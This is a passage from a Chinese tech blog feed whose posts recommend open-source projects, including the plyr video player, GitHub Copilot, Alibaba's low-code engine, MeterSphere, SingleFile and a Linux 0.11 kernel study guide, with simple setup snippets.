&#123; if (curStuff.value.length) return stuffFlag else if (curTool.value) return toolFlag return false &#125; &#125; &#125;) return recipes&#125;)</code></pre><p>好啦,更多的实现逻辑就不在这里长篇大论了,感兴趣的朋友可以将项目拉取到本地研究研究哦~</p><h2 id="程序员做饭指南"><a href="#程序员做饭指南" class="headerlink" title="程序员做饭指南"></a>程序员做饭指南</h2><p>当然了,如果你想说:小妹呀,虽然你这菜谱很漂亮,但是如果我平时都没做过菜,火都点不开,锅都拿不稳,我照着做也做不来呀。没关系,小妹这里还有一份《程序员做饭指南》,也是一个应对在家隔离做饭难的开源项目。这个开源项目不仅有常见菜品的菜谱,而且还对做菜小白专门开辟了一章做菜之前的准备工作教程,看图:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/20220421000657_395646e9edb459721a82f6975ad99ab3.png"></p><p>小妹也逐个点开学习了一番,比如什么时候用冷水锅焯水,炒菜时怎么用热锅凉油,这里都有介绍,教程还蛮友好的!</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>今天小妹分享了两个开源项目,《隔离食用手册》和《程序员做饭指南》。前者清晰简洁,后者入门且全面,希望能帮助到我可爱的读者朋友们(<em>╹▽╹</em>)自己做饭不止要填饱肚子,也要健康美味哦🤤</p>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>这款神器也开源了!</title>
<link href="/blog/2022/04/17/zhe-kuan-shi-pin-bo-fang-qi-ye-kai-yuan-liao/"/>
<url>/blog/2022/04/17/zhe-kuan-shi-pin-bo-fang-qi-ye-kai-yuan-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>短视频大火已经有很长时间了,日常工作中我们可能很容易接到视频播放相关的需求。大叔给大家推荐一款开源的视频播放器 plyr,在GitHub 标星21.9k。</p><h3 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a><strong>项目介绍</strong></h3><p>plyr 是一个简单、轻量级、可访问和可定制的 HTML5、YouTube 和 Vimeo 媒体播放器,支持现在主流的浏览器。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171839723.png"></p><p>整体 UI 挺简洁的,样式也挺好看的。看下官方 Demo的效果</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204182139754.png" alt="image-20220418213923037"></p><p>字幕能够手动打开或者关闭,语言可以做国际化处理的,提供了相应的 API。</p><p><img src="C:\Users\zys\AppData\Roaming\Typora\typora-user-images\image-20220418210404159.png"></p><p>默认提供了一些简单的设置功能,包括开启或者关闭字幕,分辨率设置,播放速度设置。选项值都是可以调整的。</p><p><img src="C:\Users\zys\AppData\Roaming\Typora\typora-user-images\image-20220418211601677.png"></p><p>看下画中画的效果</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204182122560.png"></p><p>切换到其他应用程序,画中画页面仍然是可见的。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204182128811.png"></p><h3 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h3><ul><li>支持 HTML 视频和音频</li><li>支持任何屏幕尺寸</li><li>字幕可以开启或者关闭</li><li>通过标准化 API 切换播放、音量、搜索等</li><li>支持画中画模式</li><li>支持 hls.js, Shaka 和 dash.js 流播放</li><li>支持倍速播放</li><li>支持多种分辨率播放,576p、720p、1080p</li><li>控件支持国际化</li><li>支持定制化</li></ul><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>要使用 Plyr,可以直接引用 Plyr 的 CDN 文件</p><pre class=" language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>https://cdn.plyr.io/3.6.12/plyr.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script language-javascript"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>https://cdn.plyr.io/3.6.12/plyr.css<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre><h3 id="HTML5-Video"><a href="#HTML5-Video" class="headerlink" title="HTML5 Video"></a>HTML5 Video</h3><pre class=" language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>video</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>player<span class="token punctuation">"</span></span> <span class="token attr-name">playsinline</span> <span class="token attr-name">controls</span> <span class="token attr-name">data-poster</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>/path/to/poster.jpg<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>source</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>/path/to/video.mp4<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>video/mp4<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>source</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>/path/to/video.webm<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>video/webm<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token comment" spellcheck="true">&lt;!-- Captions are optional --></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>track</span> <span class="token attr-name">kind</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>captions<span class="token punctuation">"</span></span> <span class="token attr-name">label</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>English captions<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>/path/to/captions.vtt<span class="token punctuation">"</span></span> <span class="token attr-name">srclang</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span> <span class="token attr-name">default</span> <span class="token punctuation">/></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>video</span><span class="token punctuation">></span></span></code></pre><h3 id="配置项"><a href="#配置项" class="headerlink" title="配置项"></a>配置项</h3><p>下面列举一些基础配置项,更多配置可以查看官方文档。</p><table><thead><tr><th>配置项</th><th>类型</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td>settings</td><td>Array</td><td>[‘captions’, ‘quality’, ‘speed’, ‘loop’]</td><td>如果使用默认控件,则可以指定要在菜单中显示的设置</td></tr><tr><td>i18n</td><td>Object</td><td>See defaults.js</td><td>用于UI的国际化(i18n)。</td></tr><tr><td>volume</td><td>Number</td><td>1</td><td>介于0和1之间的数字,表示播放器的初始音量。</td></tr><tr><td>speed</td><td>Object</td><td>{ selected: 1, options: [0.5, 0.75, 1, 1.25, 1.5, 1.75, 2] }</td><td>selected:播放的默认速度。options:要在UI中显示的速度选项。</td></tr><tr><td>quality</td><td>Object</td><td>{ default: 576, options: [4320, 2880, 2160, 1440, 1080, 720, 576, 480, 360, 240] }</td><td>default是默认的质量级别(如果在源中存在)。选项是要显示的选项。这用于过滤可用的源。</td></tr></tbody></table><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>plyr 是一个使用 HTML5 开发的基于浏览器上的多媒体播放器。有这方面需求的小伙伴在公众号后台回复<strong>“<strong><strong>小分队</strong></strong>”</strong> 上车吧~~</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>AI帮我写代码,程序员真的要失业了?</title>
<link href="/blog/2022/04/17/zi-dong-xie-dai-ma-shen-qi/"/>
<url>/blog/2022/04/17/zi-dong-xie-dai-ma-shen-qi/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>随着智慧教育、穿戴设备、全息智能设备等产物的出现和普及,人工智能技术已经进入到生活的各个领域。此时此刻大叔脑海中有一个大胆的想法,如果有一款工具,能反过来根据注释自动给出编程代码,是不是程序猿们都会笑的合不拢嘴,爽歪歪?</p><p>就在前不久的 <strong>GitHub Universe 2021开发者大会</strong>上,GitHub 官方正式宣布了一款名为 **Copilot **工具。</p><p>今天大叔就给大家介绍一下这款工具,简单来说,通过 Copilot,<strong>程序员只需输入注释,即可自动生成代码!</strong></p><h3 id="功能介绍"><a href="#功能介绍" class="headerlink" title="功能介绍"></a>功能介绍</h3><ul><li>通过注释生成代码</li><li>根据函数名称生成代码</li><li>目前支持 Visual Studio Code、Neovim 和基于 IntelliJ 的 IDE,例如 JetBrains IntelliJ IDEA、Android Studio 或 PyCharm</li><li>目前支持 Python、JavaScript、TypeScript、Ruby、Java 和 Go</li></ul><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>目前 Copilot 还是在测试阶段,先在 GitHub 上进行申请,申请通过后以邮件的方式通知。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171554102.png"></p><p>下面以 IDEA 中的使用为例,其他工具可以参考官方文档。</p><ul><li><p>首先安装插件 Copilot </p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171557416.png"></p></li><li><p>安装插件后登录,按照提示操作即可,有一点要特别注意,在登录 GitHub 时,不要启动 fastgithub!</p></li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171558416.png"></p><ul><li>复制 Device code</li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171558426.png"></p><ul><li>输入 Device code</li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171601678.png"></p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171725607.png"></p><ul><li>插件安装成功</li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171724299.png"></p><ul><li><p>使用方式很简单,在写代码过程中 Copilot 会给出提示,按 tab 接受建议即可。</p><p>通过注释提示代码</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171724287.gif"></p></li></ul><p>通过方法名称提示代码</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202204171713166.gif"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Copilot 可以让编程省时省力,省去写基础代码的时间,让程序猿把更多的精力花在整体架构设计或者逻辑实现上。不过到底怎么样,还是要用一用才知道,所以小伙伴们赶紧来公众号后台回复【小分队】获取官网地址吧。</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>动动手指就能搭建系统的低代码引擎</title>
<link href="/blog/2022/04/16/dong-dong-shou-zhi-jiu-neng-da-jian-xi-tong-de-di-dai-ma-yin-qing/"/>
<url>/blog/2022/04/16/dong-dong-shou-zhi-jiu-neng-da-jian-xi-tong-de-di-dai-ma-yin-qing/</url>
<content type="html"><![CDATA[<p>低代码是最两年来十分火热的领域,它能够通过少量的代码就能快速生成应用程序的开发平台,大大提高了生产力,解放了人力。而今天大叔给大家介绍的是由阿里出品的一款优秀低代码引擎:lowcode-engine。</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/408dd49c-18e7-432b-b80d-31d8e28a5033/Untitled.png" alt="Untitled"></p><h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>低代码引擎是一款为低代码平台开发者提供的,具备强大定制扩展能力的低代码设计器研发框架。</p><ul><li>🌈  提炼自企业级低代码平台的面向扩展设计的内核引擎,奉行最小内核,最强生态的设计理念</li><li>📦  开箱即用的高质量生态元素,包括 物料体系、设置器、插件 等</li><li>⚙️  完善的工具链,支持 物料体系、设置器、插件 等生态元素的全链路研发周期</li><li>🔌  强大的扩展能力,已支撑近 100 个各种垂直类低代码平台</li><li>🛡  使用 TypeScript 开发,提供完整的类型定义文件</li></ul><h3 id="低代码设计器"><a href="#低代码设计器" class="headerlink" title="低代码设计器"></a><strong>低代码设计器</strong></h3><p>现如今低代码平台越来越多,而每一个低代码平台中都会有的一个能力就是搭建和配置页面、模块的页面,这个页面我们称为设计器。</p><p>设计器承载着低代码平台的核心功能,包括入料、编排、组件配置、画布渲染等等。由于其功能多,打磨精细难,也是低代码平台建设最耗时的地方。</p><p>例如,下图是中后台低代码平台的设计器。</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/c450def0-bee9-4e93-936f-1154b4509ba7/Untitled.png" alt="Untitled"></p><h3 id="定制扩展能力"><a href="#定制扩展能力" class="headerlink" title="定制扩展能力"></a><strong>定制扩展能力</strong></h3><p>什么是扩展能力呢,一方面我们可以快速拥有一份标准的低代码设计器,另外一方面如果有业务独特的功能需要,我们可以不用看它的源码、不用关心其实现,可以使用 API、插件等方式快速完成能力的开发。<br>而低代码引擎对于设计器的扩展能力支持基本上覆盖了低代码设计器的所有功能点。下图是针对标准的设计器提供了扩展功能的区域。</p><p><img src="https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4b1137cb-63f1-4d75-800a-acd41eff711e/Untitled.png" alt="Untitled"></p><h3 id="低代码设计器研发框架"><a href="#低代码设计器研发框架" class="headerlink" title="低代码设计器研发框架"></a><strong>低代码设计器研发框架</strong></h3><p>低代码引擎的核心是设计器,通过扩展、周边生态等可以产出各式各样的设计器。它不是一套可以适合所有人的低代码平台,而是帮助低代码平台的开发者,快速生产低代码平台的工具。</p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>可以通过两种方式之一获取低代码编辑器的示例代码:</p><ol><li>直接<a href="https://github.com/alibaba/lowcode-demo">在 github 仓库下</a>进行下载</li></ol><p><img src="https://cdn.nlark.com/yuque/0/2022/png/242652/1645178084931-b81f6960-f0be-4695-ae38-e2632c859629.png" alt="https://cdn.nlark.com/yuque/0/2022/png/242652/1645178084931-b81f6960-f0be-4695-ae38-e2632c859629.png"></p><ol><li>如果本地安装了 git,可以通过 git clone 方式进行下载</li></ol><p>(这个方法的好处是 demo 有了更新,可以通过 merge 方式跟上)</p><pre><code>git clone https://github.com/alibaba/lowcode-demo.git</code></pre><p>拉取仓库代码后,需要进行如下配置或安装过程:</p><ol><li>确保本地安装了 Node.js 和 npm,如果没有,<a href="https://github.com/nvm-sh/nvm">您可以通过 nvm 进行快捷的安装</a></li><li>确保为 npm <a href="https://npmmirror.com/">设置了可以访问的 npm 源,保证安装过程无网络问题</a></li><li>执行  <code>npm install</code></li></ol><p>依赖完全安装完成后,执行  <code>npm start</code>,如果看到这个界面,说明项目启动成功。您可以继续看后续章节了。本章节后续内容均为高级配置方式。</p><p><img src="https://cdn.nlark.com/yuque/0/2022/png/242652/1644982015764-35bb5f58-fbd6-4838-9792-3c5b2136162d.png" alt="https://cdn.nlark.com/yuque/0/2022/png/242652/1644982015764-35bb5f58-fbd6-4838-9792-3c5b2136162d.png"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>在现在快节奏的市场情况下,急需开始打造产品,不断试错,以最低成本来产生最大的价值。所以一款低代码产品不容错过,有兴趣的小伙伴可以用来试试是否符合自己的需求。</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>一站式持续测试平台,打造你的DevOps流程</title>
<link href="/blog/2022/04/16/yi-zhan-shi-chi-xu-ce-shi-ping-tai-da-zao-ni-de-devops-liu-cheng/"/>
<url>/blog/2022/04/16/yi-zhan-shi-chi-xu-ce-shi-ping-tai-da-zao-ni-de-devops-liu-cheng/</url>
<content type="html"><![CDATA[<p>大家好,我是爱写代码的开源大叔。</p><p>测试经常是大家忽略的环节,但却又是一个项目质量的保障,所以打造一个能够持续测试的平台尤为重要。今天给大家介绍的是一个一站式开源持续测试平台:<strong>MeterSphere</strong>,希望能够帮助同学们提高工程质量!</p><p><img src="https://files.mdnice.com/user/21078/71d613ea-f3e5-417d-a0fa-c5164d1239b5.png"></p><h3 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h3><p>MeterSphere 是一站式开源持续测试平台,包含测试跟踪、接口测试、性能测试、团队协作等功能,致力于帮助开发和测试团队充分利用云弹性进行高度可扩展的自动化测试,加速高质量软件的交付,提高工程质量。</p><p><img src="https://files.mdnice.com/user/21078/c1c2acd5-f07f-4006-ba43-9353fbaa5d37.png"></p><h3 id="功能"><a href="#功能" class="headerlink" title="功能"></a>功能</h3><ul><li><strong>测试跟踪</strong>: 远超 TestLink 的使用体验,覆盖从编写用例到生成测试报告的完整流程;</li><li><strong>接口测试</strong>: 集 Postman 的易用与 JMeter 的灵活于一体,接口管理、接口 Mock、多协议支持、场景自动化,你想要的全都有;</li><li><strong>性能测试</strong>: 兼容 JMeter,支持 Kubernetes 和云环境,轻松支持高并发、分布式的性能测试;</li><li><strong>团队协作</strong>: 用户管理、租户管理、权限管理、资源管理,无论团队规模如何,总有适合的落地方式。</li></ul><h3 id="优势"><a href="#优势" class="headerlink" title="优势"></a>优势</h3><ul><li><strong>开源</strong>:基于开源、兼容开源;按月发布新版本、日均下载安装超过 100 次、被大量客户验证;</li><li><strong>一站式</strong>:一个产品全面涵盖测试跟踪、接口测试、性能测试等功能并形成联动:其中用例管理是底座需求、接口自动化测试是高频需求、性能测试是专家服务为主工具为辅;一个产品全满足从测试计划、测试执行到测试报告分析的全生命周期需求;</li><li><strong>持续测试</strong>:能将测试融入持续交付和 DevOps 体系;无缝对接 Bug 管理工具和持续集成工具等;支持团队协作和资产沉淀。</li></ul><h3 id="UI-展示"><a href="#UI-展示" class="headerlink" title="UI 展示"></a>UI 展示</h3><p><img src="https://files.mdnice.com/user/21078/bc61740f-d0d8-47e9-9244-7f12356b1656.png"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p><strong>MeterSphere</strong> 是一款优秀的持续测试的开源平台,在这个越来越讲究质量与用户体验的市场环境下,想必这个平台能够帮助您打造更优秀的产品,感兴趣的小伙伴赶快来试试吧!!</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>一键快速优雅保存网页,优秀!</title>
<link href="/blog/2022/04/13/yi-jian-kuai-su-you-ya-bao-cun-wang-ye-you-xiu/"/>
<url>/blog/2022/04/13/yi-jian-kuai-su-you-ya-bao-cun-wang-ye-you-xiu/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹!</p><p>最近公众号改版了,大家记得星标<code>开源小分队</code>,第一时间收到我们优质内容的更新!</p><p><img src="https://files.mdnice.com/user/20902/452ce91c-3408-4710-832e-a7390b6c89fc.png"></p><p>相信各位程序员大大们都和小妹一样,有喜欢收藏网页的习惯,收藏别人的笔记,代码,教程等等。但是因为各种各样的原因,收藏的网页经常走丢无法访问。</p><p>而右键“存储为”来离线保存网页的方式,对网页的一些图片等素材不太友好,甚至有时候保存的离线资源打开还有各种的问题。</p><p>这不,小妹在 Github 上面发现一款开源的浏览器扩展 - <code>SingleFile</code>,可以完美的解决这个问题,非常优秀!</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><code>SingleFile</code>,是一个浏览器的插件,支持 Chrome Firefox Edge等等常见的浏览器。</p><p><img src="https://files.mdnice.com/user/20902/f612a985-2054-46d2-b8c8-81092f87f8dc.png"></p><p>这个插件可以一键将当前网页保存为单个文件,且能够很好的解决离线打开文件时图片等素材的显示问题。</p><p><img src="https://files.mdnice.com/user/20902/6d84f583-2e6d-4ea6-9b25-8478c62604f2.png"></p><p>目前 SingleFile 已经有 8K+ Star,Chrome 应用商店显示也超过 10万+ 的用户在使用。</p><h2 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h2><p>1、保存网页</p><p>安装完成后,网页点击右键,即可将网页保存为 html 文件,并自动下载到本地中了,如下图:</p><p><img src="https://files.mdnice.com/user/20902/d70ec6f2-98f2-4b32-89e5-7098a98ae5d4.png"></p><p>2、一键保存多个网页</p><p>通过Ctrl键,依次选择需要保存的网页。</p><p>再单击 SingleFile 插件的图标,点击三个点,选择“保存标签页”-“保存选中的标签”。</p><p><img src="https://files.mdnice.com/user/20902/541f4dfa-70bf-4ea8-95e0-9aedf5d5fde1.png"></p><p>另外,插件还支持一些高级功能例如:自动保存、定期保存、自定义设置等等。大家可以自行探索。</p><p><img src="https://files.mdnice.com/user/20902/bbb3fe5e-6824-45eb-9af5-aaffcdfbcf33.png"></p><p><img src="https://files.mdnice.com/user/20902/f93db1a5-9fdc-4c37-975f-7ac756a37f8c.png"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>总的来说,<code>SingleFile</code>操作非常简单,容易上手,一键就可以解决存档、书签、搜索三大问题。</p><p>关于这个项目的更多功能,大家自己查阅下开源项目,公众号后台回复 <strong>“小分队”</strong> 获取地址研究学习。</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>P站上不了?没事,自己动手搞一个</title>
<link href="/blog/2022/04/13/p-zhan-shang-bu-liao-mei-shi-zi-ji-dong-shou-gao-yi-ge/"/>
<url>/blog/2022/04/13/p-zhan-shang-bu-liao-mei-shi-zi-ji-dong-shou-gao-yi-ge/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p><img src="https://files.mdnice.com/user/20902/da6ab006-50c7-4f78-9af3-14096fe5b4cb.png"></p><p>对于上面这个黑白黄颜色的学习网站,想必大家一定不陌生,经典简洁的颜色组合,让人看了一眼就印象深刻,难以忘怀~~~</p><p>于是大叔发现,最近很多的号主都用类似的风格的图片来做文章的封面图,你别说,还是有那个味道的~~</p><p>当然,如果每做一张图片都要P一下,虽说可以,但是效率也太低下了。<br>哪有没有现成的轮子呢?大叔到github上面转了一圈,还真的发现了一款不错的项目 - <code>logoly</code></p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><code>logoly</code> - 这是一个Pxxxhxx风格的Logo生成器,能够快速的生成一张图样风格的图片。</p><p><img src="https://files.mdnice.com/user/20902/d5d51e2f-255d-41c8-9094-dab85b39a0a8.png"></p><p>项目还贴心的准备了一个在线的网页可以使用。</p><p><img src="https://files.mdnice.com/user/20902/44e77371-66d5-42c3-aeb7-f6e4cd2da1a6.png"></p><h2 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h2><p>使用也非常的简单,选择logo的类型(横向或者竖向),修改文字。这样基本的就完成了。</p><p><img src="https://files.mdnice.com/user/20902/ab81eb8e-8f11-43fa-95c4-bde5dce19298.png"></p><p>网站还支持对文字的颜色、尺寸、字体和背景色等进行修改。</p><p>完成之后,点击下方的“export”就可以导出图片了。</p><p><img src="https://files.mdnice.com/user/20902/574803cf-afbd-432b-a6de-d5673d027f14.png"></p><p>随便改了几张大家可以看看效果,还是蛮有意思的。</p><p><img src="https://files.mdnice.com/user/20902/af2f753e-7fc4-491d-adf9-e7f6de45ba09.png"></p><p><img src="https://files.mdnice.com/user/20902/497c4dec-ddf4-452a-9805-d13556c48a94.png"></p><p><img src="https://files.mdnice.com/user/20902/1cdf71c8-b2fb-429c-86b4-a6dd45f197f5.png"></p><p>感兴趣的话,公众号后台回复 <strong>“小分队”</strong> 上车吧~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>看小说能写操作系统内核?</title>
<link href="/blog/2022/04/12/kan-xiao-shuo-neng-xie-cao-zuo-xi-tong-nei-he/"/>
<url>/blog/2022/04/12/kan-xiao-shuo-neng-xie-cao-zuo-xi-tong-nei-he/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔。</p><p>最近逛开源社区,发现一个开源项目 flash-linux0.11-talk 把学习操作系统源码,写成了一部小说,把内核当小说看,挺爽的。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>品读 Linux 0.11 核心代码这个开源项目,作者以写小说的方式进行介绍操作系统核心代码,深入浅出的介绍了操作系统是怎样写出来的。</p><p>部分章节标题:<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204121325933.png"></p><h2 id="大纲"><a href="#大纲" class="headerlink" title="大纲"></a>大纲</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204121327579.png"></p><p>项目主要分为6大模块:</p><ul><li>第一部分:进入内核前的苦力活</li><li>第二部分:大战前期的初始化工作</li><li>第三部分:一个新进程的诞生</li><li>第四部分:shell 程序的到来</li><li>第五部分:从一个命令的执行看操作系统各模块的运作</li><li>第六部分:操作系统哲学与思想<h2 id="细节"><a href="#细节" class="headerlink" title="细节"></a>细节</h2>该开源项目每章的内容都写的简洁明了,就比如第一回,写到的就两行代码:<pre><code>mov ax,0x07c0mov ds,ax</code></pre>图文并茂的讲解了具体是什么意思</li></ul><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204121328962.png"><br>可见作者是很用心的讲解操作系统源码,用这种小说的方式去讲解,极大的降低了学习难度。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>想想我们看小说的时候是不是很爽,看这个开源项目也是一样,作者也是想要像写小说一样的把操作系统源码,生动有趣的展现给我们。快看起来像刷小说一样,一口气刷完它。快去公众号后台回复「小分队」获取项目地址吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>2022年3月开源项目精华都在这里啦~</title>
<link href="/blog/2022/04/05/2022-nian-3-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/"/>
<url>/blog/2022/04/05/2022-nian-3-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹!</p><p>小妹花了点时间整理了一下3月份分享过的酷酷项目,方便大家进行查看和收藏!</p><p>1、<code>wifi-card</code>:这是一个将WiFi无线网络生成二维码的在线工具,你可以将生成的WiFi二维码打印出来贴在冰箱上,餐厅的餐桌旁边或者公司的会客厅里。。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051044305.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490227&idx=1&sn=a04c68bc06f7fcff84d3789dea671ce8&chksm=ceea3555f99dbc43e4e53e1b06a5c26861fb610a3f2f46d4c923a91ee6d59aa30e92c1472f3e&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>2、<code>bilibili-vue</code>:这是一个全栈开发 B 站首页的项目,可以实现拥有一个属于自己的 B 站。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051044307.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490252&idx=1&sn=1f9848db997b8f217ffb0fc6fcb47fcf&chksm=ceea352af99dbc3c258ba3de092a4679bade9efbd355109fb70b6add9f50fbc8e38594d53b23&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>3、<code>Another RDM</code>:这是一款更快、更好、更稳定的 Redis 桌面(GUI)管理客户端,兼容Windows、Mac、Linux,性能出众,轻松加载海量键值,且免费使用。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051044308.png"></p><blockquote><p><a href="https://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247490446&idx=1&sn=a5f4d17ea77c82ec92637ddd157b5ddd&chksm=ceea3468f99dbd7ef2c129cbafc96fff26f0b7f8826027492e8fc6e9d35e857e861f87bd9332&token=1347078000&lang=zh_CN#rd">查看文章</a></p></blockquote><p>4、<code>人生重开模拟器</code>:这是一款开源小游戏,可以让你深刻的感受到人生无常,让你体验各种不同的生活,重启你的人生。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202204/202204051044309.png"></p><blockquote><p><a href="http://mp.weixin.qq.com/s?__biz=Mzg3MjY5MjM2MQ==&mid=2247489821&idx=1&sn=845038042904bfd276b9f50798668ff6&chksm=ceea36fbf99dbfed02a83f88193fa25086a2a36a38fe86dd0a52a0c90a8b5c022ef48f5d5cc4&scene=21#wechat_redirect">查看文章</a></p></blockquote><p>5、<code>ResumeSample</code>:一款好用的程序员简历模板,包含了PHP、iOS、Android、Web前端、Java、C / 